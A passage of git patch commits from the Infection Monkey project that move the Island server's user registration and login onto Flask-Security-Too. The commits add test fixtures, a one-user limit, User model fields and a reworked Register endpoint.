.../monkey_island/cc/services/conftest.py | 45 ++++++++++++ .../services/test_authentication_service.py | 73 +++++++++++++++++-- 2 files changed, 112 insertions(+), 6 deletions(-) create mode 100644 monkey/tests/unit_tests/monkey_island/cc/services/conftest.py diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/conftest.py b/monkey/tests/unit_tests/monkey_island/cc/services/conftest.py new file mode 100644 index 00000000000..3ffa64d30f9 --- /dev/null +++ b/monkey/tests/unit_tests/monkey_island/cc/services/conftest.py @@ -0,0 +1,45 @@ +import flask_restful +import pytest +from flask import Flask +from flask_mongoengine import MongoEngine +from flask_security import MongoEngineUserDatastore, Security + +import monkey_island +from monkey_island.cc.models import Role, User +from monkey_island.cc.services.representations import output_json + + +def init_mock_security_app(db_name): + app = Flask(__name__) + + app.config["SECRET_KEY"] = "test_key" + app.config["SECURITY_PASSWORD_SALT"] = b"somethingsaltyandniceandgood" + # Our test emails/domain isn't necessarily valid + app.config["SECURITY_EMAIL_VALIDATOR_ARGS"] = {"check_deliverability": False} + # Make this plaintext for most tests - reduces unit test time by 50% + app.config["SECURITY_PASSWORD_HASH"] = "plaintext" + app.config["TESTING"] = True + app.config["MONGO_URI"] = "mongomock://localhost" + api = flask_restful.Api(app) + api.representations = {"application/json": output_json} + + monkey_island.cc.app.init_app_url_rules(app) + + db = MongoEngine() + db.disconnect(alias="default") + db.connect(db_name, host="mongomock://localhost") + + user_datastore = MongoEngineUserDatastore(db, User, Role) + app.security = Security(app, user_datastore) + return app + + +@pytest.fixture(scope="function") +def mock_flask_app(): + from common.utils.code_utils import insecure_generate_random_string + + db_name = insecure_generate_random_string(8) + app = init_mock_security_app(db_name) + + with app.app_context(): + yield app diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/test_authentication_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/test_authentication_service.py index 510ff506e63..44ea2444a15 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/test_authentication_service.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/test_authentication_service.py @@ -2,7 +2,7 @@ import pytest -from common.utils.exceptions import InvalidRegistrationCredentialsError +from common.utils.exceptions import IncorrectCredentialsError, InvalidRegistrationCredentialsError from monkey_island.cc.event_queue import IIslandEventQueue, IslandEventTopic from monkey_island.cc.models import IslandMode from monkey_island.cc.server_utils.encryption import ILockableEncryptor @@ -10,7 +10,7 @@ USERNAME = "user1" PASSWORD = "test" -PASSWORD_HASH = "$2b$12$YsGjjuJFddYJ6z5S5/nMCuKkCzKHB1AWY9SXkQ02i25d8TgdhIRS2" +PASSWORD_HASH = "$2b$12$yQzymz55fRvm8rApg7erluIvIAKSFSDrNIOIrOlxC4sXsDSkeu9z2" # Some tests have these fixtures as arguments even though `autouse=True`, because @@ -28,6 +28,35 @@ def mock_island_event_queue(autouse=True): return MagicMock(spec=IIslandEventQueue) +def test_needs_registration__true( + mock_flask_app, tmp_path, mock_repository_encryptor, mock_island_event_queue +): + a_s = AuthenticationService(tmp_path, mock_repository_encryptor, mock_island_event_queue) + + assert a_s.needs_registration() + + +def test_needs_registration__false( + mock_flask_app, tmp_path, mock_repository_encryptor, mock_island_event_queue +): + a_s = AuthenticationService(tmp_path, mock_repository_encryptor, mock_island_event_queue) + + a_s.register_new_user(USERNAME, PASSWORD) + + assert not a_s.needs_registration() + + +# TODO: Add UserLimitError and implement one user limit +# def test_needs_registration__two_users( +# mock_flask_app, tmp_path, mock_repository_encryptor, mock_island_event_queue +# ): +# a_s = AuthenticationService(tmp_path, mock_repository_encryptor, mock_island_event_queue) +# a_s.register_new_user(USERNAME, PASSWORD) +# +# with pytest.raises(UserLimitError): +# a_s.register_new_user("user2", PASSWORD) + + def test_register_new_user__empty_password_fails( tmp_path, mock_repository_encryptor, mock_island_event_queue ): @@ -42,7 +71,9 @@ def test_register_new_user__empty_password_fails( @pytest.mark.slow -def test_register_new_user(tmp_path, mock_repository_encryptor, mock_island_event_queue): +def test_register_new_user( + mock_flask_app, tmp_path, mock_repository_encryptor, mock_island_event_queue +): a_s = AuthenticationService(tmp_path, mock_repository_encryptor, mock_island_event_queue) a_s.register_new_user(USERNAME, PASSWORD) @@ -54,7 +85,7 @@ def test_register_new_user(tmp_path, mock_repository_encryptor, mock_island_even @pytest.mark.slow def test_register_new_user__publish_to_event_topics( - tmp_path, mock_repository_encryptor, mock_island_event_queue + mock_flask_app, tmp_path, mock_repository_encryptor, mock_island_event_queue ): a_s = AuthenticationService(tmp_path, mock_repository_encryptor, mock_island_event_queue) @@ -71,9 +102,39 @@ def test_register_new_user__publish_to_event_topics( @pytest.mark.slow -def test_authenticate__success(tmp_path, mock_repository_encryptor): +@pytest.mark.parametrize( + ("username", "password"), [("wrong_username", PASSWORD), (USERNAME, "wrong_password")] +) +def test_authenticate__failed_wrong_credentials( + mock_flask_app, tmp_path, username, password, mock_repository_encryptor, mock_island_event_queue +): + + a_s = AuthenticationService(tmp_path, mock_repository_encryptor, mock_island_event_queue) + a_s.register_new_user(USERNAME, PASSWORD) + with pytest.raises(IncorrectCredentialsError): + a_s.authenticate(username, password) + + mock_repository_encryptor.unlock.call_count == 2 + + +@pytest.mark.slow +def test_authenticate__success( + mock_flask_app, tmp_path, mock_repository_encryptor, mock_island_event_queue +): a_s = AuthenticationService(tmp_path, mock_repository_encryptor, mock_island_event_queue) # If authentication fails, this function will raise an exception and the test will fail. + a_s.register_new_user(USERNAME, PASSWORD) a_s.authenticate(USERNAME, PASSWORD) - mock_repository_encryptor.unlock.assert_called_once() + mock_repository_encryptor.unlock.call_count == 2 + + +def test_authenticate__failed_no_registered_user( + mock_flask_app, tmp_path, mock_repository_encryptor +): + a_s = AuthenticationService(tmp_path, mock_repository_encryptor, mock_island_event_queue) + + with pytest.raises(IncorrectCredentialsError): + a_s.authenticate(USERNAME, PASSWORD) + + mock_repository_encryptor.unlock.assert_not_called() From ed79b91da570840caee0b1cf4a9b1de65c338adf Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Mon, 27 Feb 2023 19:41:44 +0100 Subject: [PATCH 0387/1338] Island: Remove unneeded try/except in AuthentcationService --- .../cc/services/authentication_service.py | 15 +++++---------- 1 file changed, 5 insertions(+), 10 deletions(-) diff --git a/monkey/monkey_island/cc/services/authentication_service.py b/monkey/monkey_island/cc/services/authentication_service.py index 382d1bd6458..b975ad0553e 100644 --- a/monkey/monkey_island/cc/services/authentication_service.py +++ b/monkey/monkey_island/cc/services/authentication_service.py @@ -2,11 +2,7 @@ from flask_security.utils import hash_password, verify_and_update_password -from common.utils.exceptions import ( - IncorrectCredentialsError, - InvalidRegistrationCredentialsError, - UnknownUserError, -) +from common.utils.exceptions import IncorrectCredentialsError, InvalidRegistrationCredentialsError from monkey_island.cc.event_queue import IIslandEventQueue, IslandEventTopic from monkey_island.cc.models import IslandMode, User from monkey_island.cc.server_utils.encryption import ILockableEncryptor @@ -56,17 +52,16 @@ def register_new_user(self, username: str, password: str): self._reset_repository_encryptor(username, password) - def authenticate(self, username: str, password: str): - try: - registered_user = User.objects.filter(username=username).first() - except UnknownUserError: - raise IncorrectCredentialsError() + def authenticate(self, username: str, password: str) -> User: + registered_user = User.objects.filter(username=username).first() if registered_user is None or not verify_and_update_password(password, registered_user): raise IncorrectCredentialsError() self._unlock_repository_encryptor(username, password) + return registered_user + def _unlock_repository_encryptor(self, username: str, password: str): secret = _get_secret_from_credentials(username, password) self._repository_encryptor.unlock(secret.encode()) From 3d5ad4d3da24961e309f6272f6e8d4ad65df4b3d Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Mon, 27 Feb 2023 19:44:05 +0100 Subject: [PATCH 0388/1338] Island: Require login in authenticate resource --- .../cc/resources/auth/authenticate.py | 14 +++++++++----- 1 file changed, 9 insertions(+), 5 deletions(-) diff --git a/monkey/monkey_island/cc/resources/auth/authenticate.py b/monkey/monkey_island/cc/resources/auth/authenticate.py index c060d26c24f..079a947f276 100644 --- a/monkey/monkey_island/cc/resources/auth/authenticate.py +++ b/monkey/monkey_island/cc/resources/auth/authenticate.py @@ -1,12 +1,12 @@ import logging from http import HTTPStatus -from flask import make_response, request +from flask import jsonify, make_response, request +from flask_login import current_user, login_required, login_user from common.utils.exceptions import IncorrectCredentialsError from monkey_island.cc.flask_utils import AbstractResource from monkey_island.cc.resources.auth.credential_utils import get_username_password_from_request -from monkey_island.cc.resources.request_authentication import create_access_token from monkey_island.cc.services import AuthenticationService logger = logging.getLogger(__name__) @@ -22,6 +22,10 @@ class Authenticate(AbstractResource): def __init__(self, authentication_service: AuthenticationService): self._authentication_service = authentication_service + def get(self): + return jsonify({"authenticated": current_user.is_authenticated}) + + @login_required def post(self): """ Authenticates a user @@ -36,9 +40,9 @@ def post(self): username, password = get_username_password_from_request(request) try: - self._authentication_service.authenticate(username, password) - access_token = create_access_token(username) + user = self._authentication_service.authenticate(username, password) except IncorrectCredentialsError: return make_response({"error": "Invalid credentials"}, HTTPStatus.UNAUTHORIZED) - return make_response({"access_token": access_token}, HTTPStatus.OK) + login_user(user) + return jsonify({"login": True}) From 2742788ec7d1850cee6be184f0be42a9c99172c9 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Mon, 27 Feb 2023 19:50:27 +0100 Subject: [PATCH 0389/1338] Common: Remove unused exception UnknownUserError It will be replace with other Exception --- monkey/common/utils/exceptions.py | 4 ---- 1 file changed, 4 deletions(-) diff --git a/monkey/common/utils/exceptions.py b/monkey/common/utils/exceptions.py index e5c36aa8f02..7ba937b5e1c 100644 --- a/monkey/common/utils/exceptions.py +++ b/monkey/common/utils/exceptions.py @@ -10,10 +10,6 @@ class AlreadyRegisteredError(Exception): """Raise to indicate the reason why registration is not required""" -class UnknownUserError(Exception): - """Raise to indicate that authentication failed""" - - class IncorrectCredentialsError(Exception): """Raise to indicate that authentication failed""" From 25b239e6c1d24f04d56eddf93dfa8af3f1aca66d Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Tue, 28 Feb 2023 13:57:49 +0530 Subject: [PATCH 0390/1338] Island: Add clarifying comment about User.password field --- monkey/monkey_island/cc/models/user.py | 3 +++ 1 file changed, 3 insertions(+) diff --git a/monkey/monkey_island/cc/models/user.py b/monkey/monkey_island/cc/models/user.py index 5cc5de17760..e9acf24a0b0 100644 --- a/monkey/monkey_island/cc/models/user.py +++ b/monkey/monkey_island/cc/models/user.py @@ -8,6 +8,9 @@ class User(Document, UserMixin): username = StringField(max_length=255, unique=True) + # We're actually storing the password hash (using Flask-Security's `hash_password()`). + # Flask-Security's `verify_and_update_password()`, which we're using for authentication, + # requires that this field is called "password". password = StringField() active = BooleanField(default=True) roles = ListField(ReferenceField(Role), default=[]) From 95048492d405850f5e76ea26761b34fb69991de5 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Tue, 28 Feb 2023 14:39:21 +0530 Subject: [PATCH 0391/1338] Island: Remove login_required decorator in Authenticate resource --- monkey/monkey_island/cc/resources/auth/authenticate.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/resources/auth/authenticate.py b/monkey/monkey_island/cc/resources/auth/authenticate.py index 079a947f276..1410d54bcea 100644 --- a/monkey/monkey_island/cc/resources/auth/authenticate.py +++ b/monkey/monkey_island/cc/resources/auth/authenticate.py @@ -2,7 +2,7 @@ from http import HTTPStatus from flask import jsonify, make_response, request -from flask_login import current_user, login_required, login_user +from flask_login import current_user, login_user from common.utils.exceptions import IncorrectCredentialsError from monkey_island.cc.flask_utils import AbstractResource @@ -25,7 +25,6 @@ def __init__(self, authentication_service: AuthenticationService): def get(self): return jsonify({"authenticated": current_user.is_authenticated}) - @login_required def post(self): """ Authenticates a user @@ -45,4 +44,5 @@ def post(self): return make_response({"error": "Invalid credentials"}, HTTPStatus.UNAUTHORIZED) login_user(user) + return jsonify({"login": True}) From 985072b3417f05bb63d84b2649da91f8b5ce4bd1 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Tue, 28 Feb 2023 14:41:11 +0530 Subject: [PATCH 0392/1338] Island: Add TODO ro remove debugging code in Authenticate resource --- monkey/monkey_island/cc/resources/auth/authenticate.py | 1 + 1 file changed, 1 insertion(+) diff --git a/monkey/monkey_island/cc/resources/auth/authenticate.py b/monkey/monkey_island/cc/resources/auth/authenticate.py index 1410d54bcea..8b1c242687f 100644 --- a/monkey/monkey_island/cc/resources/auth/authenticate.py +++ b/monkey/monkey_island/cc/resources/auth/authenticate.py @@ -22,6 +22,7 @@ class Authenticate(AbstractResource): def __init__(self, authentication_service: AuthenticationService): self._authentication_service = authentication_service + # TODO: Added for debugging. Remove before closing #2157. def get(self): return jsonify({"authenticated": current_user.is_authenticated}) From 1ff0cfa67e768dfa69948c88a6f278e25a5e23dc Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Tue, 28 Feb 2023 15:23:21 +0530 Subject: [PATCH 0393/1338] Island: Limit number of users allowed to 1 --- monkey/monkey_island/cc/services/__init__.py | 2 +- .../cc/services/authentication_service.py | 15 +++++++++++++++ 2 files changed, 16 insertions(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/services/__init__.py b/monkey/monkey_island/cc/services/__init__.py index 2b7ab4e7eb8..721b2f78df5 100644 --- a/monkey/monkey_island/cc/services/__init__.py +++ b/monkey/monkey_island/cc/services/__init__.py @@ -1,5 +1,5 @@ from .agent_signals_service import AgentSignalsService -from .authentication_service import AuthenticationService +from .authentication_service import AuthenticationService, UserLimitError from .aws import AWSService diff --git a/monkey/monkey_island/cc/services/authentication_service.py b/monkey/monkey_island/cc/services/authentication_service.py index b975ad0553e..44d04400a8b 100644 --- a/monkey/monkey_island/cc/services/authentication_service.py +++ b/monkey/monkey_island/cc/services/authentication_service.py @@ -1,4 +1,5 @@ from pathlib import Path +from typing import Optional from flask_security.utils import hash_password, verify_and_update_password @@ -8,6 +9,10 @@ from monkey_island.cc.server_utils.encryption import ILockableEncryptor +class UserLimitError(Exception): + """Raise when the allowed limit of users registered on the Island is being exceeded""" + + class AuthenticationService: """ A service for user authentication @@ -42,6 +47,13 @@ def register_new_user(self, username: str, password: str): if not username or not password: raise InvalidRegistrationCredentialsError("Username or password can not be empty.") + if self._user_already_registered(): + raise UserLimitError( + "A registered user already exists. To reset your credentials, follow the " + "instructions at https://techdocs.akamai.com/infection-monkey/docs/" + "frequently-asked-questions#reset-the-monkey-island-password." + ) + User(username=username, password=hash_password(password)).save() self._island_event_queue.publish(IslandEventTopic.CLEAR_SIMULATION_DATA) @@ -52,6 +64,9 @@ def register_new_user(self, username: str, password: str): self._reset_repository_encryptor(username, password) + def _user_already_registered(self) -> Optional[User]: + return User.objects.first() + def authenticate(self, username: str, password: str) -> User: registered_user = User.objects.filter(username=username).first() From 1f4bcd284d5feceaef2a11d0e22c0a82a4a10d51 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Tue, 28 Feb 2023 15:25:10 +0530 Subject: [PATCH 0394/1338] UT: Update AuthenticationService tests --- .../services/test_authentication_service.py | 19 +++++++++---------- 1 file changed, 9 insertions(+), 10 deletions(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/test_authentication_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/test_authentication_service.py index 44ea2444a15..5c254ce8e1a 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/test_authentication_service.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/test_authentication_service.py @@ -6,7 +6,7 @@ from monkey_island.cc.event_queue import IIslandEventQueue, IslandEventTopic from monkey_island.cc.models import IslandMode from monkey_island.cc.server_utils.encryption import ILockableEncryptor -from monkey_island.cc.services import AuthenticationService +from monkey_island.cc.services import AuthenticationService, UserLimitError USERNAME = "user1" PASSWORD = "test" @@ -46,15 +46,14 @@ def test_needs_registration__false( assert not a_s.needs_registration() -# TODO: Add UserLimitError and implement one user limit -# def test_needs_registration__two_users( -# mock_flask_app, tmp_path, mock_repository_encryptor, mock_island_event_queue -# ): -# a_s = AuthenticationService(tmp_path, mock_repository_encryptor, mock_island_event_queue) -# a_s.register_new_user(USERNAME, PASSWORD) -# -# with pytest.raises(UserLimitError): -# a_s.register_new_user("user2", PASSWORD) +def test_needs_registration__two_users( + mock_flask_app, tmp_path, mock_repository_encryptor, mock_island_event_queue +): + a_s = AuthenticationService(tmp_path, mock_repository_encryptor, mock_island_event_queue) + a_s.register_new_user(USERNAME, PASSWORD) + + with pytest.raises(UserLimitError): + a_s.register_new_user("user2", PASSWORD) def test_register_new_user__empty_password_fails( From 7e55a14fd85e1d1d2a5835d4de6a7dce74523627 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Tue, 28 Feb 2023 15:50:58 +0530 Subject: [PATCH 0395/1338] Island: Update dependencies, use flask-security-too instead of flask-security --- monkey/monkey_island/Pipfile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/Pipfile b/monkey/monkey_island/Pipfile index c041f57f30f..b450761f2ee 100644 --- a/monkey/monkey_island/Pipfile +++ b/monkey/monkey_island/Pipfile @@ -34,7 +34,7 @@ pydantic = "*" egg-timer = "*" pyyaml = "*" semver = "==2.13.0" -flask-security = "*" +flask-security-too = "*" flask-mongoengine = "*" [dev-packages] From 916e5265ba1c45a2a914e30409899a2d5d434c06 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Tue, 28 Feb 2023 16:22:02 +0530 Subject: [PATCH 0396/1338] Island: Use flask_security.UserMixin instead of flask_login.UserMixin The former has verify_and_update_password() which we want to use. There's also no reason to use flask_login in place of flask_security anywhere. We'll have one less dependency this way. --- monkey/monkey_island/cc/models/user.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/models/user.py b/monkey/monkey_island/cc/models/user.py index e9acf24a0b0..9e2eab9110e 100644 --- a/monkey/monkey_island/cc/models/user.py +++ b/monkey/monkey_island/cc/models/user.py @@ -1,6 +1,6 @@ from __future__ import annotations -from flask_login import UserMixin +from flask_security import UserMixin from mongoengine import BooleanField, Document, ListField, ReferenceField, StringField from .role import Role From 0c5c4bed354fbced146b4cb3fc5530ce7c3f6c3b Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Tue, 28 Feb 2023 16:22:42 +0530 Subject: [PATCH 0397/1338] Island: Add 'fs_uniquifier' field to 'User' Flask-Security-Too versions >= 4.0.0 require this field --- monkey/monkey_island/cc/models/user.py | 1 + 1 file changed, 1 insertion(+) diff --git a/monkey/monkey_island/cc/models/user.py b/monkey/monkey_island/cc/models/user.py index 9e2eab9110e..d44bc00813a 100644 --- a/monkey/monkey_island/cc/models/user.py +++ b/monkey/monkey_island/cc/models/user.py @@ -14,6 +14,7 @@ class User(Document, UserMixin): password = StringField() active = BooleanField(default=True) roles = ListField(ReferenceField(Role), default=[]) + fs_uniquifier = StringField(max_length=64, unique=True) @staticmethod def get_by_id(id: str): From ce40f8b1331685ada7885c52df525ad361289d0a Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Tue, 28 Feb 2023 16:23:29 +0530 Subject: [PATCH 0398/1338] Island: Use flask_security instead of flask_login in Authenticate resource There's no reason to use flask_login in place of flask_security anywhere. We'll have one less dependency this way. --- monkey/monkey_island/cc/resources/auth/authenticate.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/resources/auth/authenticate.py b/monkey/monkey_island/cc/resources/auth/authenticate.py index 8b1c242687f..b768cbd10b5 100644 --- a/monkey/monkey_island/cc/resources/auth/authenticate.py +++ b/monkey/monkey_island/cc/resources/auth/authenticate.py @@ -2,7 +2,7 @@ from http import HTTPStatus from flask import jsonify, make_response, request -from flask_login import current_user, login_user +from flask_security import current_user, login_user from common.utils.exceptions import IncorrectCredentialsError from monkey_island.cc.flask_utils import AbstractResource From 154a60c3a6e8501d3009196645076bf1a7ea86cf Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Tue, 28 Feb 2023 16:26:45 +0530 Subject: [PATCH 0399/1338] Island: Change how verify_and_update_password() is used in AuthenticationService This function should be called through UserMixin according to the documentation. https://flask-security-too.readthedocs.io/en/stable/api.html#flask_security.verify_and_update_password --- monkey/monkey_island/cc/services/authentication_service.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/services/authentication_service.py b/monkey/monkey_island/cc/services/authentication_service.py index 44d04400a8b..dddb8e62f78 100644 --- a/monkey/monkey_island/cc/services/authentication_service.py +++ b/monkey/monkey_island/cc/services/authentication_service.py @@ -1,7 +1,7 @@ from pathlib import Path from typing import Optional -from flask_security.utils import hash_password, verify_and_update_password +from flask_security.utils import hash_password from common.utils.exceptions import IncorrectCredentialsError, InvalidRegistrationCredentialsError from monkey_island.cc.event_queue import IIslandEventQueue, IslandEventTopic @@ -70,7 +70,7 @@ def _user_already_registered(self) -> Optional[User]: def authenticate(self, username: str, password: str) -> User: registered_user = User.objects.filter(username=username).first() - if registered_user is None or not verify_and_update_password(password, registered_user): + if registered_user is None or not registered_user.verify_and_update_password(password): raise IncorrectCredentialsError() self._unlock_repository_encryptor(username, password) From 1b33737c1f1ea999d18b8bbd22ebd43bc451f01f Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Tue, 28 Feb 2023 17:18:59 +0530 Subject: [PATCH 0400/1338] Island: Add dependency 'bleach' --- monkey/monkey_island/Pipfile | 1 + 1 file changed, 1 insertion(+) diff --git a/monkey/monkey_island/Pipfile b/monkey/monkey_island/Pipfile index b450761f2ee..a6d2c6efb8f 100644 --- a/monkey/monkey_island/Pipfile +++ b/monkey/monkey_island/Pipfile @@ -36,6 +36,7 @@ pyyaml = "*" semver = "==2.13.0" flask-security-too = "*" flask-mongoengine = "*" +bleach = "*" [dev-packages] virtualenv = "==20.16.2" # Pinned to 20.16.2 due to importlib-metadat/flake8 issue From 82a1bee3f91583dcbc03fcaf22fbd686f33083f8 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 28 Feb 2023 13:08:08 +0100 Subject: [PATCH 0401/1338] Island: Move creation of db object after we configure the flask app If we do it befofe the users will be stored in a default named db called `test` --- monkey/monkey_island/cc/app.py | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index ce4d60a26be..7def36332c2 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -70,14 +70,12 @@ def serve_home(): def init_app_config(app, mongo_url, data_dir: Path): - db = MongoEngine(app) app.config["MONGO_URI"] = mongo_url app.config["MONGODB_SETTINGS"] = [ { "db": MONGO_DB_NAME, "host": MONGO_DB_HOST, "port": MONGO_DB_PORT, - "alias": "flask-security", } ] @@ -96,6 +94,9 @@ def init_app_config(app, mongo_url, data_dir: Path): app.url_map.strict_slashes = False + # The database object needs to be created after we configure the flask application + db = MongoEngine(app) + # Setup Flask-Security user_datastore = MongoEngineUserDatastore(db, User, Role) app.security = Security(app, user_datastore) From 7f84f540166d385a6a013967393482e34c57b7fd Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 28 Feb 2023 15:39:38 +0100 Subject: [PATCH 0402/1338] Island: Add email field to User model --- monkey/monkey_island/cc/models/user.py | 2 ++ vulture_allowlist.py | 9 +++++++++ 2 files changed, 11 insertions(+) diff --git a/monkey/monkey_island/cc/models/user.py b/monkey/monkey_island/cc/models/user.py index d44bc00813a..6f4545944cd 100644 --- a/monkey/monkey_island/cc/models/user.py +++ b/monkey/monkey_island/cc/models/user.py @@ -8,6 +8,8 @@ class User(Document, UserMixin): username = StringField(max_length=255, unique=True) + # Flask-Security doesn't let you register without an email field + email = StringField() # We're actually storing the password hash (using Flask-Security's `hash_password()`). # Flask-Security's `verify_and_update_password()`, which we're using for authentication, # requires that this field is called "password". diff --git a/vulture_allowlist.py b/vulture_allowlist.py index 97628c46fa7..24e16d15b2e 100644 --- a/vulture_allowlist.py +++ b/vulture_allowlist.py @@ -121,6 +121,15 @@ HadoopPlugin +# Remove after #2157 +User.active +User.password_hash +User.fs_uniquifier +User.roles +User.get_by_id +User.email +Role.permissions + # Remove after #2952 generate_brute_force_credentials secret_type_filter From c659c74350494877d30d1618f32077f9fbfd9bdf Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 28 Feb 2023 17:45:50 +0100 Subject: [PATCH 0403/1338] UT: Remove Register endpoint tests We will add these later after the endpoint is reworked --- .../cc/resources/auth/test_register.py | 64 ------------------- 1 file changed, 64 deletions(-) delete mode 100644 monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_register.py diff --git a/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_register.py b/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_register.py deleted file mode 100644 index a759c2fc3f9..00000000000 --- a/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_register.py +++ /dev/null @@ -1,64 +0,0 @@ -import json -from unittest.mock import MagicMock - -import pytest - -from common.utils.exceptions import AlreadyRegisteredError, InvalidRegistrationCredentialsError -from monkey_island.cc.resources.auth import Register - -REGISTRATION_URL = Register.urls[0] - -USERNAME = "test_user" -PASSWORD = "test_password" - - -@pytest.fixture -def make_registration_request(flask_client): - def inner(request_body): - return flask_client.post(REGISTRATION_URL, data=request_body, follow_redirects=True) - - return inner - - -def test_registration(make_registration_request, mock_authentication_service): - registration_request_body = f'{{"username": "{USERNAME}", "password": "{PASSWORD}"}}' - response = make_registration_request(registration_request_body) - - assert response.status_code == 200 - mock_authentication_service.register_new_user.assert_called_with(USERNAME, PASSWORD) - - -def test_empty_credentials(make_registration_request, mock_authentication_service): - registration_request_body = "{}" - make_registration_request(registration_request_body) - - mock_authentication_service.register_new_user.assert_called_with("", "") - - -def test_invalid_credentials(make_registration_request, mock_authentication_service): - mock_authentication_service.register_new_user = MagicMock( - side_effect=InvalidRegistrationCredentialsError() - ) - - registration_request_body = "{}" - response = make_registration_request(registration_request_body) - - assert response.status_code == 400 - - -def test_registration_not_needed(make_registration_request, mock_authentication_service): - mock_authentication_service.register_new_user = MagicMock(side_effect=AlreadyRegisteredError()) - - registration_request_body = "{}" - response = make_registration_request(registration_request_body) - - assert response.status_code == 400 - - -def test_internal_error(make_registration_request, mock_authentication_service): - mock_authentication_service.register_new_user = MagicMock(side_effect=Exception()) - - registration_request_body = json.dumps({}) - response = make_registration_request(registration_request_body) - - assert response.status_code == 500 From c83e9eeb387581e727abea4d47c77c0024acc113 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 28 Feb 2023 17:49:06 +0100 Subject: [PATCH 0404/1338] Island: Init flask security Register endpoint --- .../cc/resources/auth/__init__.py | 2 +- .../cc/resources/auth/register.py | 54 +++++++++++++------ 2 files changed, 39 insertions(+), 17 deletions(-) diff --git a/monkey/monkey_island/cc/resources/auth/__init__.py b/monkey/monkey_island/cc/resources/auth/__init__.py index cb210cc56ad..2ec750c49a3 100644 --- a/monkey/monkey_island/cc/resources/auth/__init__.py +++ b/monkey/monkey_island/cc/resources/auth/__init__.py @@ -1,3 +1,3 @@ from .authenticate import Authenticate -from .register import Register from .registration_status import RegistrationStatus +from .register import Register diff --git a/monkey/monkey_island/cc/resources/auth/register.py b/monkey/monkey_island/cc/resources/auth/register.py index 0c19238878b..6d44f8c8d55 100644 --- a/monkey/monkey_island/cc/resources/auth/register.py +++ b/monkey/monkey_island/cc/resources/auth/register.py @@ -2,11 +2,13 @@ from http import HTTPStatus from flask import make_response, request +from flask_security.views import register -from common.utils.exceptions import AlreadyRegisteredError, InvalidRegistrationCredentialsError +from monkey_island.cc.event_queue import IIslandEventQueue, IslandEventTopic +from monkey_island.cc.models import IslandMode from monkey_island.cc.flask_utils import AbstractResource from monkey_island.cc.resources.auth.credential_utils import get_username_password_from_request -from monkey_island.cc.services import AuthenticationService +from monkey_island.cc.server_utils.encryption import ILockableEncryptor logger = logging.getLogger(__name__) @@ -18,25 +20,45 @@ class Register(AbstractResource): urls = ["/api/register"] - def __init__(self, authentication_service: AuthenticationService): - self._authentication_service = authentication_service + def __init__( + self, + repository_encryptor: ILockableEncryptor, + island_event_queue: IIslandEventQueue, + ): + self._repository_encryptor = repository_encryptor + self._island_event_queue = island_event_queue def post(self): """ - Registers a new user + Registers a new user using flask security register - Gets a username and password from the request sent from the client, - and registers a new user - - :raises InvalidRegistrationCredentialsError: If username or password is empty - :raises AlreadyRegisteredError: If a user has already been registered """ - username, password = get_username_password_from_request(request) try: - self._authentication_service.register_new_user(username, password) - return make_response({"error": ""}, HTTPStatus.OK) - # API Spec: HTTP status code for AlreadyRegisteredError should be 409 (CONFLICT) - except (InvalidRegistrationCredentialsError, AlreadyRegisteredError) as e: - return make_response({"error": str(e)}, HTTPStatus.BAD_REQUEST) + # This method take the request data and pass it to the RegisterForm + # where a registration request is preform. Return value is a flask.Response + # object + response = register() + + if response.status_code == HTTPStatus.OK: + self._island_event_queue.publish(IslandEventTopic.CLEAR_SIMULATION_DATA) + self._island_event_queue.publish(IslandEventTopic.RESET_AGENT_CONFIGURATION) + self._island_event_queue.publish( + topic=IslandEventTopic.SET_ISLAND_MODE, mode=IslandMode.UNSET + ) + + self._reset_repository_encryptor(username, password) + + return make_response(response) + except Exception as err: + return make_response({"error": str(err)}, HTTPStatus.INTERNAL_SERVER_ERROR) + + def _reset_repository_encryptor(self, username: str, password: str): + secret = _get_secret_from_credentials(username, password) + self._repository_encryptor.reset_key() + self._repository_encryptor.unlock(secret.encode()) + + +def _get_secret_from_credentials(username: str, password: str) -> str: + return f"{username}:{password}" From b468e0586fe4b6a1eb9fd700ca3f5d92df80550a Mon Sep 17 